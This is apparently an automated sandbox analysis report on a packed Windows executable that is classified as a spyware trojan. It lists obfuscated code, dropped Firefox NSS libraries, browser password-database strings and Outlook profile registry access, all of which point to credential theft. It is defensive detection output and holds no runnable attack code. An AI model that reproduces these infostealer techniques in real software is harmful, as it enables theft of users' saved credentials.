Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CC1B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CC1B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CC1B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CBBF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D999EC	0_2_00D999EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3D953	0_2_00D3D953
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E78AD2	0_2_00E78AD2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5DA5F	0_2_00D5DA5F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E97A79	0_2_00E97A79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E8BA59	0_2_00E8BA59
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA320D	0_2_00FA320D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9445E	0_2_00E9445E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DAF5D8	0_2_00DAF5D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E8D564	0_2_00E8D564
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E91527	0_2_00E91527
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D9F683	0_2_00D9F683
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E92785	0_2_00E92785
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC3F3C	0_2_00DC3F3C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E95F09	0_2_00E95F09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E89F03	0_2_00E89F03
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB35A0	0_2_6CBB35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC6C80	0_2_6CBC6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF6CF0	0_2_6CBF6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBD4E0	0_2_6CBBD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC134A0	0_2_6CC134A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1C4A0	0_2_6CC1C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDD4D0	0_2_6CBDD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC64C0	0_2_6CBC64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2545C	0_2_6CC2545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF5C10	0_2_6CBF5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2AC00	0_2_6CC2AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC02C10	0_2_6CC02C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2542B	0_2_6CC2542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC5440	0_2_6CBC5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC185F0	0_2_6CC185F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF0DD0	0_2_6CBF0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE0512	0_2_6CBE0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDED10	0_2_6CBDED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCFD00	0_2_6CBCFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC276E3	0_2_6CC276E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD5E90	0_2_6CBD5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1E680	0_2_6CC1E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBBEF0	0_2_6CBBBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCFEF0	0_2_6CBCFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC14EA0	0_2_6CC14EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC02E4E	0_2_6CC02E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC26E63	0_2_6CC26E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF7E10	0_2_6CBF7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC05600	0_2_6CC05600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBC670	0_2_6CBBC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD9E50	0_2_6CBD9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF3E50	0_2_6CBF3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC19E30	0_2_6CC19E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD4640	0_2_6CBD4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE6FF0	0_2_6CBE6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBDFE0	0_2_6CBBDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC077A0	0_2_6CC077A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF7710	0_2_6CBF7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC9F00	0_2_6CBC9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC250C7	0_2_6CC250C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE60A0	0_2_6CBE60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDC0E0	0_2_6CBDC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF58E0	0_2_6CBF58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFB820	0_2_6CBFB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC7810	0_2_6CBC7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFF070	0_2_6CBFF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC04820	0_2_6CC04820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD8850	0_2_6CBD8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDD850	0_2_6CBDD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBED9B0	0_2_6CBED9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBC9A0	0_2_6CBBC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF5190	0_2_6CBF5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC12990	0_2_6CC12990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0B970	0_2_6CC0B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2B170	0_2_6CC2B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCD960	0_2_6CBCD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDA940	0_2_6CBDA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCCAB0	0_2_6CBCCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB22A0	0_2_6CBB22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE4AA0	0_2_6CBE4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD1AF0	0_2_6CBD1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFE2F0	0_2_6CBFE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2BA90	0_2_6CC2BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC22AB0	0_2_6CC22AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF8AC0	0_2_6CBF8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF9A60	0_2_6CBF9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC253C8	0_2_6CC253C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBF380	0_2_6CBBF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFD320	0_2_6CBFD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCC370	0_2_6CBCC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB5340	0_2_6CBB5340

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00AC45C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBF94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBECBE8 appears 134 times

Source: file.exe, 00000000.00000002.1821646827.000000006CE35000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: nmowastc ZLIB complexity 0.9947808460295475

Source: file.exe, 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1550119203.0000000005480000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC17030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CC17030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AD8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00AD8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AD3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00AD3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\AK7JROCB.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1821092440.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821529988.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1809461642.000000001DCF4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1821092440.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821529988.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1809461642.000000001DCF4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1821092440.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821529988.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1809461642.000000001DCF4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1821092440.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821529988.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1809461642.000000001DCF4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1821092440.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821529988.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1809461642.000000001DCF4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1821092440.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1809461642.000000001DCF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1821092440.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821529988.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1809461642.000000001DCF4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1637521242.000000001DBF8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1653103624.000000001DBEB000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.0.dr, JDGIIJJDHDGCGDHIJDAK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1821092440.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1809461642.000000001DCF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1821092440.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1809461642.000000001DCF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1819648 > 1048576

Source: file.exe

Static PE information: Raw size of nmowastc is bigger than: 0x100000 < 0x196200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1821529988.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1821529988.000000006CDEF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ac0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nmowastc:EW;glejfpla:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nmowastc:EW;glejfpla:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AD9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00AD9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c276b should be: 0x1c5848

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nmowastc
Source: file.exe	Static PE information: section name: glejfpla
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F030FE push 0EBF1B4Fh; mov dword ptr [esp], edx	0_2_00F03106
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F030FE push 5B9901F4h; mov dword ptr [esp], esp	0_2_00F03147
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F348E6 push edi; mov dword ptr [esp], edx	0_2_00F34938
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF50CE push ebx; mov dword ptr [esp], edx	0_2_00EF5101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF50CE push ebp; mov dword ptr [esp], eax	0_2_00EF516D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF50CE push edi; mov dword ptr [esp], ebx	0_2_00EF51BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F400D7 push ebp; mov dword ptr [esp], esi	0_2_00F4010E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F400D7 push 2A25F82Eh; mov dword ptr [esp], eax	0_2_00F401BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F390CC push edi; mov dword ptr [esp], esi	0_2_00F390EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F770A1 push 7FF971F9h; mov dword ptr [esp], ecx	0_2_00F770DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EAB085 push 5990216Eh; mov dword ptr [esp], edx	0_2_00EACA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF287E push 32244BD1h; mov dword ptr [esp], eax	0_2_00EF288F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF287E push edx; mov dword ptr [esp], esp	0_2_00EF289D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF287E push ecx; mov dword ptr [esp], esi	0_2_00EF28AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF287E push ecx; mov dword ptr [esp], 777F826Eh	0_2_00EF28D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADB035 push ecx; ret	0_2_00ADB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F20057 push edx; mov dword ptr [esp], 5550ADCFh	0_2_00F20079
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA7044 push esi; mov dword ptr [esp], eax	0_2_00FA7060
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA7044 push 79263DA3h; mov dword ptr [esp], edx	0_2_00FA707D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F2E826 push 2831D950h; mov dword ptr [esp], eax	0_2_00F2E869
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011501F2 push esi; mov dword ptr [esp], edx	0_2_0115027D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011501F2 push 65F3CDABh; mov dword ptr [esp], ecx	0_2_011502B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011501F2 push 0D727901h; mov dword ptr [esp], eax	0_2_011502DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F109D0 push ecx; mov dword ptr [esp], 24B4D504h	0_2_00F109F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D999EC push 438B9098h; mov dword ptr [esp], ecx	0_2_00D99A69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D999EC push edx; mov dword ptr [esp], edi	0_2_00D99A7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D999EC push 609E9BECh; mov dword ptr [esp], edx	0_2_00D99AAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D999EC push ebp; mov dword ptr [esp], edx	0_2_00D99ACC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D999EC push eax; mov dword ptr [esp], 5DB344F2h	0_2_00D99B28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D999EC push ebx; mov dword ptr [esp], edi	0_2_00D99B42
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D999EC push 0654F03Bh; mov dword ptr [esp], edi	0_2_00D99BBB

Source: file.exe

Static PE information: section name: nmowastc entropy: 7.954044179670198

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
